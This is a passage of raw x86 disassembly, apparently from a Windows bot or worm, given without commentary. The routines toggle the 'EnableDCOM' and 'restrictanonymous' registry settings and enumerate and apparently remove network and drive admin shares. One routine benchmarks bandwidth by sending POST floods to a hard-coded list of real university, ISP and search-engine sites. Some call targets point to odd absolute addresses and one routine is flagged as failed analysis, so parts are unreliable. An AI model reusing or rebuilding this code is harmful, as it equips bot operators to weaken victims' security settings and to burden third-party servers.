ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A21 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_433C04 push esi call dword_4CB710 test eax, eax jz loc_419D5F push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5F lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5F mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB8DC call edi push eax push [ebp+var_8] call edi push eax call near ptr 2740000h nop test eax, eax jz short loc_419D5F push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D808 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call near ptr 2690C14h nop test eax, eax jnz short loc_419D67 loc_419D5F: ; CODE XREF: sub_419C65+2Fj ; sub_419C65+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E15 ; --------------------------------------------------------------------------- loc_419D67: ; CODE XREF: sub_419C65+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB8D8, eax mov eax, [ebp+var_8] mov dword_4DB8E0, eax mov eax, [ebp+var_2C] mov dword_4DB8D4, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB918, eax jz short loc_419DA1 push [ebp+arg_4] jmp short loc_419DA2 ; --------------------------------------------------------------------------- loc_419DA1: ; CODE XREF: sub_419C65+135j push ebx loc_419DA2: ; CODE XREF: sub_419C65+13Aj push offset dword_4DB8E4 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_43A09C call sub_40B0F7 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43E598[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B10 push esi push esi nop call near ptr 26B0000h cmp eax, esi mov dword_43E5A4[edi], eax jnz short loc_419E13 call near ptr 26B0857h nop push eax lea eax, [ebp+var_378] push offset unk_43A068 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AD add esp, 10h loc_419E13: ; CODE XREF: sub_419C65+185j xor eax, eax loc_419E15: ; CODE XREF: sub_419C65+FDj pop edi pop esi pop ebx leave retn sub_419C65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E1A proc near ; DATA XREF: sub_401ACD+2E0Co var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E61 call sub_419E7A jmp short loc_419E66 ; --------------------------------------------------------------------------- loc_419E61: ; CODE XREF: sub_419E1A+3Ej call sub_41A19E loc_419E66: ; CODE XREF: sub_419E1A+45j add esp, 10h push [ebp+var_14] call sub_40B413 pop ecx push 0 call near ptr 2710000h nop sub_419E1A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E7A proc near ; CODE XREF: sub_419E1A+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB724, edi jnz loc_419FAC lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB6C4 test eax, eax jnz short loc_419F05 mov ax, word_438E18 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB678 test eax, eax jz short loc_419EE7 push offset dword_43A338 jmp short loc_419EEC ; --------------------------------------------------------------------------- loc_419EE7: ; CODE XREF: sub_419E7A+64j push offset dword_43A318 loc_419EEC: ; CODE XREF: sub_419E7A+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB630 jmp short loc_419F18 ; --------------------------------------------------------------------------- loc_419F05: ; CODE XREF: sub_419E7A+36j lea eax, [ebp+var_214] push offset dword_43A2E8 push eax call sub_41B886 pop ecx pop ecx loc_419F18: ; CODE XREF: sub_419E7A+89j cmp [ebp+arg_C], edi jnz short loc_419F37 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_419F37: ; CODE XREF: sub_419E7A+A1j lea eax, [ebp+var_214] push eax call sub_4151AD pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB6C4 test eax, eax jnz short loc_419FA5 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CB678 test eax, eax jz short loc_419F87 push offset dword_43A298 jmp short loc_419F8C ; --------------------------------------------------------------------------- loc_419F87: ; CODE XREF: sub_419E7A+104j push offset dword_43A264 loc_419F8C: ; CODE XREF: sub_419E7A+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB630 jmp short loc_419FBF ; --------------------------------------------------------------------------- loc_419FA5: ; CODE XREF: sub_419E7A+E2j push offset dword_43A228 jmp short loc_419FB1 ; --------------------------------------------------------------------------- loc_419FAC: ; CODE XREF: sub_419E7A+13j push offset dword_43A1F8 loc_419FB1: ; CODE XREF: sub_419E7A+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBF: ; CODE XREF: sub_419E7A+129j cmp [ebp+arg_C], edi jnz short loc_419FDE push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_419FDE: ; CODE XREF: sub_419E7A+148j lea eax, [ebp+var_214] push eax call sub_4151AD cmp dword_4CB74C, edi pop ecx jnz loc_41A159 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A001: ; CODE XREF: sub_419E7A+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CB598 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09E cmp eax, 0EAh jz short loc_41A09E mov esi, offset off_43A0C0 loc_41A032: ; CODE XREF: sub_419E7A+21Dj push dword ptr [esi] push edi call sub_418C6C pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A049 push offset dword_43A1D4 jmp short loc_41A04E ; --------------------------------------------------------------------------- loc_41A049: ; CODE XREF: sub_419E7A+1C6j push offset dword_43A1A8 loc_41A04E: ; CODE XREF: sub_419E7A+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A081 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A081: ; CODE XREF: sub_419E7A+1EBj lea eax, [ebp+var_214] push eax call sub_4151AD add esi, 8 pop ecx cmp esi, offset off_43A0E0 jb short loc_41A032 jmp loc_41A136 ; --------------------------------------------------------------------------- loc_41A09E: ; CODE XREF: sub_419E7A+1AAj ; sub_419E7A+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12D loc_41A0AD: ; CODE XREF: sub_419E7A+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A122 push edi call sub_418B59 push eax push 0 call sub_418C6C add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DC push offset dword_43A184 jmp short loc_41A0E1 ; --------------------------------------------------------------------------- loc_41A0DC: ; CODE XREF: sub_419E7A+259j push offset dword_43A158 loc_41A0E1: ; CODE XREF: sub_419E7A+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A115 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A115: ; CODE XREF: sub_419E7A+27Fj lea eax, [ebp+var_214] push eax call sub_4151AD pop ecx loc_41A122: ; CODE XREF: sub_419E7A+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AD xor edi, edi loc_41A12D: ; CODE XREF: sub_419E7A+22Dj push [ebp+var_8] call dword_4CB6E4 loc_41A136: ; CODE XREF: sub_419E7A+21Fj cmp [ebp+var_10], 0EAh jz loc_41A001 lea eax, [ebp+var_214] push offset dword_43A130 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16C ; --------------------------------------------------------------------------- loc_41A159: ; CODE XREF: sub_419E7A+177j lea eax, [ebp+var_214] push offset dword_43A100 push eax call sub_41B886 pop ecx pop ecx loc_41A16C: ; CODE XREF: sub_419E7A+2DDj cmp [ebp+arg_C], edi jnz short loc_41A18A push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A18A: ; CODE XREF: sub_419E7A+2F5j lea eax, [ebp+var_214] push eax call sub_4151AD pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19E proc near ; CODE XREF: sub_419E1A:loc_419E61p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB724, ebx push esi jnz loc_41A2CC lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CB6C4 test eax, eax jnz short loc_41A229 mov ax, word_438E5C mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CB678 test eax, eax jz short loc_41A20B push offset dword_43A4B0 jmp short loc_41A210 ; --------------------------------------------------------------------------- loc_41A20B: ; CODE XREF: sub_41A19E+64j push offset dword_43A494 loc_41A210: ; CODE XREF: sub_41A19E+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB630 jmp short loc_41A23C ; --------------------------------------------------------------------------- loc_41A229: ; CODE XREF: sub_41A19E+36j lea eax, [ebp+var_220] push offset dword_43A2E8 push eax call sub_41B886 pop ecx pop ecx loc_41A23C: ; CODE XREF: sub_41A19E+89j cmp [ebp+arg_C], ebx jnz short loc_41A25B push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A25B: ; CODE XREF: sub_41A19E+A1j lea eax, [ebp+var_220] push eax call sub_4151AD pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CB6C4 test eax, eax jnz short loc_41A2C5 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CB678 test eax, eax jz short loc_41A2A7 push offset dword_43A454 jmp short loc_41A2AC ; --------------------------------------------------------------------------- loc_41A2A7: ; CODE XREF: sub_41A19E+100j push offset dword_43A41C loc_41A2AC: ; CODE XREF: sub_41A19E+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CB630 jmp short loc_41A2DF ; --------------------------------------------------------------------------- loc_41A2C5: ; CODE XREF: sub_41A19E+E2j push offset dword_43A3E0 jmp short loc_41A2D1 ; --------------------------------------------------------------------------- loc_41A2CC: ; CODE XREF: sub_41A19E+13j push offset dword_43A1F8 loc_41A2D1: ; CODE XREF: sub_41A19E+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DF: ; CODE XREF: sub_41A19E+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FE push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A2FE: ; CODE XREF: sub_41A19E+144j lea eax, [ebp+var_220] push eax call sub_4151AD cmp dword_4CB74C, ebx pop ecx jnz loc_41A473 push edi mov esi, offset off_43A0C0 mov edi, 200h loc_41A322: ; CODE XREF: sub_41A19E+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BC0 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33D push offset dword_43A3C0 jmp short loc_41A342 ; --------------------------------------------------------------------------- loc_41A33D: ; CODE XREF: sub_41A19E+196j push offset dword_43A398 loc_41A342: ; CODE XREF: sub_41A19E+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A371 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A371: ; CODE XREF: sub_41A19E+1B7j lea eax, [ebp+var_220] push eax call sub_4151AD add esi, 8 pop ecx cmp esi, offset off_43A0D0 jb short loc_41A322 nop call near ptr 2870BADh test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45B loc_41A39C: ; CODE XREF: sub_41A19E+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A450 cmp bl, 41h jz loc_41A450 movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CB6B4 cmp eax, 3 jnz short loc_41A450 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BC0 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40E push offset dword_43A3C0 jmp short loc_41A413 ; --------------------------------------------------------------------------- loc_41A40E: ; CODE XREF: sub_41A19E+267j push offset dword_43A398 loc_41A413: ; CODE XREF: sub_41A19E+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A443 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A443: ; CODE XREF: sub_41A19E+289j lea eax, [ebp+var_220] push eax call sub_4151AD pop ecx loc_41A450: ; CODE XREF: sub_41A19E+206j ; sub_41A19E+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39C loc_41A45B: ; CODE XREF: sub_41A19E+1F8j lea eax, [ebp+var_220] push offset dword_43A368 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A486 ; --------------------------------------------------------------------------- loc_41A473: ; CODE XREF: sub_41A19E+173j lea eax, [ebp+var_220] push offset dword_43A100 push eax call sub_41B886 pop ecx pop ecx loc_41A486: ; CODE XREF: sub_41A19E+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A4 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_41A4A4: ; CODE XREF: sub_41A19E+2EBj lea eax, [ebp+var_220] push eax call sub_4151AD pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19E endp ; =============== S U B R O U T I N E ======================================= sub_41A4B8 proc near ; CODE XREF: sub_41A6AF+CBp ; sub_41A6AF+DDp ... arg_0 = dword ptr 4 call near ptr 26C066Dh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D2 proc near ; CODE XREF: sub_41A6AF+D4p ; sub_41A6AF+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AB push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAFA add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AB push 50h call dword_4CB654 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CB6D4 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AB lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CB5FC cmp eax, 0FFFFFFFFh jz loc_41A6AB push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_433F14 ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62B mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FB ; --------------------------------------------------------------------------- loc_41A5F8: ; CODE XREF: sub_41A4D2+157j mov eax, [ebp+arg_0] loc_41A5FB: ; CODE XREF: sub_41A4D2+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60B push [ebp+var_C] jmp short loc_41A60C ; --------------------------------------------------------------------------- loc_41A60B: ; CODE XREF: sub_41A4D2+132j push ebx loc_41A60C: ; CODE XREF: sub_41A4D2+137j add eax, esi push eax push [ebp+var_4] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jz short loc_41A692 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F8 loc_41A62B: ; CODE XREF: sub_41A4D2+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_42770C fst [ebp+arg_0] fcomp flt_427708 fnstsw ax sahf jnz short loc_41A653 fld1 fstp [ebp+arg_0] loc_41A653: ; CODE XREF: sub_41A4D2+17Aj push [ebp+var_4] call dword_4CB6EC push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_427704 fmul flt_427700 call sub_41C798 loc_41A68D: ; CODE XREF: sub_41A4D2+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A692: ; CODE XREF: sub_41A4D2+149j push [ebp+var_4] call dword_4CB6EC push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AB: ; CODE XREF: sub_41A4D2+19j ; sub_41A4D2+42j ... xor eax, eax jmp short loc_41A68D sub_41A4D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AF proc near ; CODE XREF: sub_401ACD+2E62p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B8 push [ebp+eax*4+var_3C] call sub_41A4D2 push 8 mov esi, eax call sub_41A4B8 push [ebp+eax*4+var_3C] call sub_41A4D2 add esp, 10h test esi, esi jz short loc_41A7B0 test eax, eax jz short loc_41A7AC lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B2 ; --------------------------------------------------------------------------- loc_41A7AC: ; CODE XREF: sub_41A6AF+F4j mov ebx, esi jmp short loc_41A7B2 ; --------------------------------------------------------------------------- loc_41A7B0: ; CODE XREF: sub_41A6AF+F0j mov ebx, eax loc_41A7B2: ; CODE XREF: sub_41A6AF+FBj ; sub_41A6AF+FFj push 0Ch call sub_41A4B8 push [ebp+eax*4+var_6C] call sub_41A4D2 push 0Ch mov edi, eax call sub_41A4B8 push [ebp+eax*4+var_6C] call sub_41A4D2 add esp, 10h test edi, edi jz short loc_41A7EA test eax, eax jz short loc_41A7E6 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EC ; --------------------------------------------------------------------------- loc_41A7E6: ; CODE XREF: sub_41A6AF+12Ej mov esi, edi jmp short loc_41A7EC ; --------------------------------------------------------------------------- loc_41A7EA: ; CODE XREF: sub_41A6AF+12Aj mov esi, eax loc_41A7EC: ; CODE XREF: sub_41A6AF+135j ; sub_41A6AF+139j push 6 call sub_41A4B8 push [ebp+eax*4+var_1C] call sub_41A4D2 push 6 mov edi, eax call sub_41A4B8 push [ebp+eax*4+var_1C] call sub_41A4D2 add esp, 10h test edi, edi jz short loc_41A824 test eax, eax jz short loc_41A820 lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A826 ; --------------------------------------------------------------------------- loc_41A820: ; CODE XREF: sub_41A6AF+168j mov ecx, edi jmp short loc_41A826 ; --------------------------------------------------------------------------- loc_41A824: ; CODE XREF: sub_41A6AF+164j mov ecx, eax loc_41A826: ; CODE XREF: sub_41A6AF+16Fj ; sub_41A6AF+173j xor eax, eax test ebx, ebx jz short loc_41A833 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A836 ; --------------------------------------------------------------------------- loc_41A833: ; CODE XREF: sub_41A6AF+17Bj push 2 pop edi loc_41A836: ; CODE XREF: sub_41A6AF+182j test esi, esi jz short loc_41A83E add eax, esi jmp short loc_41A83F ; --------------------------------------------------------------------------- loc_41A83E: ; CODE XREF: sub_41A6AF+189j dec edi loc_41A83F: ; CODE XREF: sub_41A6AF+18Dj test ecx, ecx jz short loc_41A847 add eax, ecx jmp short loc_41A848 ; --------------------------------------------------------------------------- loc_41A847: ; CODE XREF: sub_41A6AF+192j dec edi loc_41A848: ; CODE XREF: sub_41A6AF+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43A508 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 lea eax, [ebp+var_26C] push eax call sub_4151AD add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AF endp ; =============== S U B R O U T I N E ======================================= sub_41A88C proc near ; CODE XREF: sub_401ACD+25A1p ; sub_401ACD+2A11p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26C066Dh xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB920 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F5 proc near ; CODE XREF: sub_416F1B+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 270055Dh test eax, eax jz short loc_41A988 cmp [ebp+var_90], 4 jnz short loc_41A95E cmp [ebp+var_8C], esi jnz short loc_41A946 cmp [ebp+var_84], 1 jnz short loc_41A939 push 1 pop esi loc_41A939: ; CODE XREF: sub_41A8F5+3Fj cmp [ebp+var_84], 2 jnz short loc_41A988 push 1 jmp short loc_41A987 ; --------------------------------------------------------------------------- loc_41A946: ; CODE XREF: sub_41A8F5+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A953 loc_41A94F: ; CODE XREF: sub_41A8F5+78j push 2 jmp short loc_41A987 ; --------------------------------------------------------------------------- loc_41A953: ; CODE XREF: sub_41A8F5+58j cmp [ebp+var_8C], 5Ah jnz short 